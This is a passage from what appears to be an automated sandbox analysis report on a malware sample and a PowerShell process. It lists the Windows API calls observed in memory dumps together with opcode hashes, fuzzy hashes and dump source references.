Instruction ID: 9211a9d9b5deb1cb5552c4bd06c2fe31fc8f4396295ec37e764bed64e19c48f5
Opcode Fuzzy Hash: 6b9940e66ebc79660efdeef661939d4e3f3c04cf324d797e656c663dc1d7228e
Instruction Fuzzy Hash: AB110172500300EFEB21DF15DC85BAAFBA8EF44324F14856AFD098A281DB70A904CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 0254BA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 0254BA7E

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ee998b7c0325293768c532f0e7a4903419f14b655430a164956e5a48061a6fa4
Instruction ID: 731266d1762be4bd20d3f04887d892de70c476d8c41dc9d4e61c59d973192d86
Opcode Fuzzy Hash: ee998b7c0325293768c532f0e7a4903419f14b655430a164956e5a48061a6fa4
Instruction Fuzzy Hash: 59118C72508380AFDB22CF65CC44B52FFF4EF05214F08849AEA898B662D375E418DB61

Uniqueness

Uniqueness Score: -1.00%

Function 02800886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,FE9F6589,00000000,00000000,00000000,00000000), ref: 028008E5

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a7e75cefa111179a4da6d3e7c96e63c6f3bcdd1567f271feaecd45762eec258c
Instruction ID: 9cd7e20de5e3b95989c2220d29f22ebcf286c1f5602b9cbb992750d3afe704c3
Opcode Fuzzy Hash: a7e75cefa111179a4da6d3e7c96e63c6f3bcdd1567f271feaecd45762eec258c
Instruction Fuzzy Hash: 6B11C17A400304EFFB21CF55DC85FA6FBA8EF14721F14856AED499A681C671A504CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0254A33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 0254A39C

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: ec4ff78c1ad342857b8c955417985d4cca383c89dfd8e16725d6e6b0db87fe4d
Instruction ID: 6681434576b5b58668a73512e4b1a37ec7fd173fc4862e3a4d75e1035c2a44ec
Opcode Fuzzy Hash: ec4ff78c1ad342857b8c955417985d4cca383c89dfd8e16725d6e6b0db87fe4d
Instruction Fuzzy Hash: 71116D714093C09FEB128B25DC54B62FFB4EF47614F1880CAEDC44B253D265A808DB62

Uniqueness

Uniqueness Score: -1.00%

Function 028012D8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 0280132F

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 952438122d89a60f1f5fd67adb4c4dc1b7da58826d0726e37bc4e54e1ae17e8e
Instruction ID: 1ca5d1f51105022e766dd6746afe4880936f388176575635d96e885338e9499b
Opcode Fuzzy Hash: 952438122d89a60f1f5fd67adb4c4dc1b7da58826d0726e37bc4e54e1ae17e8e
Instruction Fuzzy Hash: 3611C4755083809FDB118F25DC89B96FFA4EF06220F0984EEED498B262D335A404CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028005E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 02800640

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 907482e765e001c15e4305548326fbd3c1f36cf571cebd25914904a88323948a
Instruction ID: 373701db51dfe84acc1ee8270fdd62dac41579c8f0c2a9dfb65413cb5692d3a2
Opcode Fuzzy Hash: 907482e765e001c15e4305548326fbd3c1f36cf571cebd25914904a88323948a
Instruction Fuzzy Hash: 3E11C2755093C09FDB128B25DC95B52FFB4DF42220F0880DBED898B6A3D265A908DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0254AAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 0254AB1A

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 889c1a406d3ab961fba419a3638203b72b2137b71737588ee91cfafac6e3c6c1
Instruction ID: 4c0bdd786926442eac5cc0af3cd6adad9fd25a4ffdbada9a989f2bd8532cdd26
Opcode Fuzzy Hash: 889c1a406d3ab961fba419a3638203b72b2137b71737588ee91cfafac6e3c6c1
Instruction Fuzzy Hash: 39115EB56443409FEB60DF29DC85B56FBD8EB04625F08C46AED09CB642DB74E404CB75

Uniqueness

Uniqueness Score: -1.00%

Function 0254AA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0254AA71

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 6b003b9bab680a54bacb396d0be1d7ca685912f75c32d23b8f0ef65f83b71a63
Instruction ID: f50a5fe2e1be9508bf5f848210777443aae037d70cfd5ca70e48f0e467603ea3
Opcode Fuzzy Hash: 6b003b9bab680a54bacb396d0be1d7ca685912f75c32d23b8f0ef65f83b71a63
Instruction Fuzzy Hash: D411917540D7C09FD7128B25DC85B91BFA4EF13224F0980DBDD858F263D269A909DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0280092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0280099C

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: ac3c7dceb9b3f44680235c907e4492d540a61d7c7982bf458299e79a30a1c313
Instruction ID: 96961fc710b329d84123dc071b884431a2b76ddf1a7252424d24cf8df811fb57
Opcode Fuzzy Hash: ac3c7dceb9b3f44680235c907e4492d540a61d7c7982bf458299e79a30a1c313
Instruction Fuzzy Hash: 6311B6754093C09FD712CB25DC55B52FFB4EF07324F0980DADD848B153C2655908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 028007C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,FE9F6589,00000000,00000000,00000000,00000000), ref: 02800819

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: ada16496b8d27d1607e21d81f6abc270f08b5983e2cd370204a6389e2df5ef7f
Instruction ID: 6777b77e7f53934806b24f554a9b522fbf15ceb0f408fcf051c4a69b303a0aae
Opcode Fuzzy Hash: ada16496b8d27d1607e21d81f6abc270f08b5983e2cd370204a6389e2df5ef7f
Instruction Fuzzy Hash: 5601C07A500304EFFB209F15DC85BA6FB98EF44721F14809AED089A282D674A904CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 028013AA, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 028013F0

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: bf2b3208fffabd95e01b923ad5ad8fa945977da8260efa4928165d05e01fe0b8
Instruction ID: 18d96d0fb8c430d0e7de4cefb8752d8b6de9f3ca1bc7557e72a8fc4f981fde20
Opcode Fuzzy Hash: bf2b3208fffabd95e01b923ad5ad8fa945977da8260efa4928165d05e01fe0b8
Instruction Fuzzy Hash: F3117C79500700DBEB60CF55DC89B66FBA4EB04721F08C4AAED49CB692D375E414CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0254AB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 0254ABC9

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: a2382f0a69d31552e9a0994df5fd89f96d76a1ec93eab5bbf805a794a7dd1851
Instruction ID: a2ecb1cfa177deac3e3e3fb7d8336c7dd705a2b9211c89440c9d64f12a60d81d
Opcode Fuzzy Hash: a2382f0a69d31552e9a0994df5fd89f96d76a1ec93eab5bbf805a794a7dd1851
Instruction Fuzzy Hash: 821182B55093809FDB11CF65DC85B92FFA4EF42225F0980ABED488F253D275A508CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0254BA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 0254BA7E

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f8b29b5fe5bef6f9d77b85d976ef7828eab67d88cfc078ac77364c61146cb7cd
Instruction ID: 3590050ef4d88c0fb76204add71578e065eb8884834dbf7b35e3dcd33bd2b048
Opcode Fuzzy Hash: f8b29b5fe5bef6f9d77b85d976ef7828eab67d88cfc078ac77364c61146cb7cd
Instruction Fuzzy Hash: DB118E72904700DFDB20CF56DC44B56FFE4FF04218F0889AAEE898A612D771E414DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0254A1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 0254A23E

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: f3013c36e9b51756dc48240edd62050851252acd8b258b0857766a06a184e15d
Instruction ID: 41c38349db9a70c58cbe8ee13233cecd9f3b05633c0d58b85ef1de59a129c8e9
Opcode Fuzzy Hash: f3013c36e9b51756dc48240edd62050851252acd8b258b0857766a06a184e15d
Instruction Fuzzy Hash: 17018471900700AFE710DF26DD46B66FBA8FB84A20F24816AED089B741D235F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 02800196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 028001D0

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 378d7ee710ce62f2fdcde776c28ebed935a217aeded1a9b1ca9ec253a78aa9c0
Instruction ID: 7f17524dba6afd6c2f41560efa25d41f2e77d4fdd6e48ef34daead892ce05641
Opcode Fuzzy Hash: 378d7ee710ce62f2fdcde776c28ebed935a217aeded1a9b1ca9ec253a78aa9c0
Instruction Fuzzy Hash: 0A019E79600344CFEB50DF6ADC857A6FB98DF05225F1884AADC09CB682D774E844CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0280104E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 0280109E

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: eecdc030385f3d09394e83ebfaf9e28388f35349be0f4f26d27445ab19ca4352
Instruction ID: 69efd7a00e1e1356d825fc05a4a63bdf228995d953f06b593a3283cc8d5e1421
Opcode Fuzzy Hash: eecdc030385f3d09394e83ebfaf9e28388f35349be0f4f26d27445ab19ca4352
Instruction Fuzzy Hash: 63017171900600ABE310DF26DD46B66FBA8FB84A20F24816AED089B741D235B515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0254BAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0254BB2F

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 4e650b6aa8d2d8dbf4f9b9f2e741ff89a6ed4177c5a2e3cf0d563ad237fcd196
Instruction ID: f47ba743638406675f6d4d0b5d2f3a06f36ef8a5fc490fbc2b510dd4ce9fdede
Opcode Fuzzy Hash: 4e650b6aa8d2d8dbf4f9b9f2e741ff89a6ed4177c5a2e3cf0d563ad237fcd196
Instruction Fuzzy Hash: 1101DF75900340DFEB20CF19DC857A5FFA4EF04629F08C4AADD498B656D775E804CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 028012FA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 0280132F

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 658f5d45762015db62fa9dcfbd63db5dda2c7780912ae59b9ed51beff9069db2
Instruction ID: 22d8ce42f1f286428373bd9851abbdc5e146143a507251533e28b9e2f2b3103e
Opcode Fuzzy Hash: 658f5d45762015db62fa9dcfbd63db5dda2c7780912ae59b9ed51beff9069db2
Instruction Fuzzy Hash: 3901BC79504340DFEF508F19DC897A9FBA4EF04721F08C4AADC09CBA92D279A404CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0254A8FA, Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 0254A94A

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: a2bd4983dfb9f42b01a5d8b6c10641e74a7715a16822890fcaa15bee2d415fc6
Instruction ID: 7fc7fe28382a7783f168f1601a705630c1d6cdadd5c518af141c176f96591426
Opcode Fuzzy Hash: a2bd4983dfb9f42b01a5d8b6c10641e74a7715a16822890fcaa15bee2d415fc6
Instruction Fuzzy Hash: 87018671900700ABD310DF1ADD46B26FBB8FB88B20F24815AED085B741D275F515CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 028004B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 02800502

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 6edf97b7b8369841fe92142531d188d3a43dd15db711bd639aa31dc64b7ce9d3
Instruction ID: c8496ee546264c3ec16a88e2bdcedbda94a93af2f99760f51346fccd17609de1
Opcode Fuzzy Hash: 6edf97b7b8369841fe92142531d188d3a43dd15db711bd639aa31dc64b7ce9d3
Instruction Fuzzy Hash: 57016271900600ABD310DF1ADD46B26FBA8FB88B20F24815AED085B741D275F515CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 02800F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 02800FB0

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: b6d4cc85f8c75da7c13427877373fbda2281429f9a8288342a3f27fdd0b9d279
Instruction ID: 2485155671ec02b927bd2a9ef13968999e286d773f32f88a891dedf363a258f6
Opcode Fuzzy Hash: b6d4cc85f8c75da7c13427877373fbda2281429f9a8288342a3f27fdd0b9d279
Instruction Fuzzy Hash: B901BC79504344CFEB50DF19DC85B66FB94EB01225F1880AADC08CF686D374E404CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0280060E, Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 02800640

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: be549b6016ae12de5a761df90f0794acceb2e1a2a92a73a8ac72fdb5d309965f
Instruction ID: bcb89f8c8369a435ac560051febc111c6b49322c43887b6b0384d9241c5ac987
Opcode Fuzzy Hash: be549b6016ae12de5a761df90f0794acceb2e1a2a92a73a8ac72fdb5d309965f
Instruction Fuzzy Hash: A0012C39600700CFEB208F19DC85761FBA0EF40221F08C0AADC5A8B793C374A808CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0254AB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 0254ABC9

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 66b847793bafd7a62ee30ddfd5f3a2769d64e34f65e4c083801fa1a713b9b4ea
Instruction ID: 0775a7d1717ab4788ca68e9313ff26309121edf15d74c00fdabc498dc01df126
Opcode Fuzzy Hash: 66b847793bafd7a62ee30ddfd5f3a2769d64e34f65e4c083801fa1a713b9b4ea
Instruction Fuzzy Hash: 2C01D131404340CFEB50DF59D885791FFA4EF00225F18C4ABDD088F206D674A404CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02801116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 02801148

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: d46b0c10bfe7d59b4fb1b4ed2d228d43a65679eb5699eb9f513316c777e2fe85
Instruction ID: c191f6209575a675de43b1d57c0ced8495ef66aa470bd5299c552510e94365db
Opcode Fuzzy Hash: d46b0c10bfe7d59b4fb1b4ed2d228d43a65679eb5699eb9f513316c777e2fe85
Instruction Fuzzy Hash: 42F0DC3D500744DFEB608F05DCC9765FBA4EB00B22F08C09ADC0C8B792C275A844CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0254A36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 0254A39C

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: 92de9d4ab4cdd61aba6ebaaddcab10b244b165e94a5c8a8e5729eb9846cba269
Instruction ID: e7d4f5120b456f73b3da43c150ffed1b01aac9eaa3a67af20a1875ef6ec84565
Opcode Fuzzy Hash: 92de9d4ab4cdd61aba6ebaaddcab10b244b165e94a5c8a8e5729eb9846cba269
Instruction Fuzzy Hash: F1F0F935414340CFEB208F0AD888725FFA0EF00229F18C09ADC080B302E774A808CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0280096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0280099C

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: e053b9d3170a8f1d68470fe9523c8c07b9f945b036451a83e20466688eebc7ba
Instruction ID: 4be1e8eda6e25fb525cf854484b8b6fe04d326ccf305dd18c9468c7126fa9ade
Opcode Fuzzy Hash: e053b9d3170a8f1d68470fe9523c8c07b9f945b036451a83e20466688eebc7ba
Instruction Fuzzy Hash: E2F0FF38804344CFEB208F09DC84725FBA0EF00322F08C09ADC488B346C374A404CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0254AA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0254AA71

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 92df134522d9f2b84e9931c60eb6d31e1c555bcca1cf765701f9bfda693a14a5
Instruction ID: 1b5fd606a01e668a3bf5f9c19b6e02a17f61f17259510c113193c87f8c0be26d
Opcode Fuzzy Hash: 92df134522d9f2b84e9931c60eb6d31e1c555bcca1cf765701f9bfda693a14a5
Instruction Fuzzy Hash: 09F0CD31544740CFEB50CF1AD989765FFA4EF44625F18C49BDD094B742D678A508CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0254A974, Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 0254A9C8

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 3616a351cf5dc3df9cc569685c21838944b81c55c599f39a23ca555eac393288
Instruction ID: 7764062dfa6fee0794e0159186e28795b139b7e00740c5f33b4b1b9e9277e887
Opcode Fuzzy Hash: 3616a351cf5dc3df9cc569685c21838944b81c55c599f39a23ca555eac393288
Instruction Fuzzy Hash: 9E11E3715093C09FD711CF25DC48B92FFA4EF02220F0980EBEC458B253D235A808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0254A996, Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 0254A9C8

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: dd99b05f214f96b8527b5edee0e71dc009a85a722e7d5f916c4a17da4b30eca2
Instruction ID: 2cee57bcba1964572a7515c0d1efb00f0d68b8e56c8d25c90cf3d385f1cfd0c1
Opcode Fuzzy Hash: dd99b05f214f96b8527b5edee0e71dc009a85a722e7d5f916c4a17da4b30eca2
Instruction Fuzzy Hash: C001F275504740CFEB50DF19DC897A6FFA4EF00225F18C4ABDC098B642D775A804CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05710862, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2162576650.0000000005710000.00000040.00000001.sdmp, Offset: 05710000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5707dd01e1cc54d2b6a6b1bbcc4e51c4a7036d3d3bd5dc8b6495c152fe6bef3f
Instruction ID: dcadffcde34fba4f5fda87c95d5ac0be81114ad8da5d1c16267bab9bfdc0822d
Opcode Fuzzy Hash: 5707dd01e1cc54d2b6a6b1bbcc4e51c4a7036d3d3bd5dc8b6495c152fe6bef3f
Instruction Fuzzy Hash: 6AE0E52160E3D40FC707973468644697FB15D8306430E42DBC5A1CF1E7C64A9948D367

Uniqueness

Uniqueness Score: -1.00%

Function 025423F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2138001129.0000000002542000.00000040.00000001.sdmp, Offset: 02542000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa390c5af7f3d73e2e2bb36383bc558b8368be09174476af3b9557e0157cb2f5
Instruction ID: c39ba282dcd22d7de0aba24ec2ea41a129206cf7b97802bbab84dc332e6ad80a
Opcode Fuzzy Hash: fa390c5af7f3d73e2e2bb36383bc558b8368be09174476af3b9557e0157cb2f5
Instruction Fuzzy Hash: 5AD05E79204A918FD7168A1CC1A8BA57B94BF55B08F8644F9FC40CB6A3CB68E581D200

Uniqueness

Uniqueness Score: -1.00%

Function 025423BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2138001129.0000000002542000.00000040.00000001.sdmp, Offset: 02542000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b49ae2778cf3dbc37910153918a2c10b1d32f3b930782bdb8d8fe6bf38a8261
Instruction ID: 02b5855d924d16f2a1347a07e69800ae12271a1903cc2de4fce5355dccdde7fa
Opcode Fuzzy Hash: 3b49ae2778cf3dbc37910153918a2c10b1d32f3b930782bdb8d8fe6bf38a8261
Instruction Fuzzy Hash: D6D05E343106818FDB15CA1CC194F59B7E4BF4070CF0644E8BC00CB266C7A4E880C604

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 1664 Parent PID: 2760 powershell.exeCOMMON

Executed Functions

Function 004BACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 004BAD37

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 5301054592d9c14041e75a80b0fbf66c3991019b9f57ebbaa25311170c7bbfd3
Instruction ID: 29c7675a7ecd24fca1519592988aad71ead1a82c2ca7c679eff241fb4965a396
Opcode Fuzzy Hash: 5301054592d9c14041e75a80b0fbf66c3991019b9f57ebbaa25311170c7bbfd3
Instruction Fuzzy Hash: D021D3755097849FEB128F25DC44B92BFF4EF16310F0884DBE9848B663D2359918DB72

Uniqueness

Uniqueness Score: -1.00%

Function 004BACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 004BAD37

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: aa8810e01bdec92943bf5da78fde31d2f4d5ceeb98ce01ba44d3379ac7fd02ba
Instruction ID: e58509cce93999b7cdc874022f009d6c7abb551a4c1dd5aa132024aa4d01c4e5
Opcode Fuzzy Hash: aa8810e01bdec92943bf5da78fde31d2f4d5ceeb98ce01ba44d3379ac7fd02ba
Instruction Fuzzy Hash: 52115E755007049FEB20CF55D884BA6FBE8EF04721F08C4AAED498BA62D335E814DB72

Uniqueness

Uniqueness Score: -1.00%

Function 004BB2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 004BB329

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 6e780ce3d56b1d6f72b73c3544ae52df88738f572c0c09cb20927fd293ade50a
Instruction ID: 278fc791520c340e61816f6e28e836e0d2210f89c0cf2cf6361b2063c92c6525
Opcode Fuzzy Hash: 6e780ce3d56b1d6f72b73c3544ae52df88738f572c0c09cb20927fd293ade50a
Instruction Fuzzy Hash: 0111EC31008380AFDB228F11DC45F62FFB0EF06320F08C08BED884B262C275A808DB62

Uniqueness

Uniqueness Score: -1.00%

Function 004BB2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 004BB329

Memory Dump Source

Source File: 00000011.00000002.2135263454.00000000004BA000.00000040.00000001.sdmp, Offset: 004BA000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 61284f946b92cdef0112e106e7baeb76305526a7ff4ed0a48bf2c8b07e37f174
Instruction ID: efc2e9a787b2d1996e387bd6472819f6b9be3b437d820aead1b104b7b542985b
Opcode Fuzzy Hash: 61284f946b92cdef0112e106e7baeb76305526a7ff4ed0a48bf2c8b07e37f174
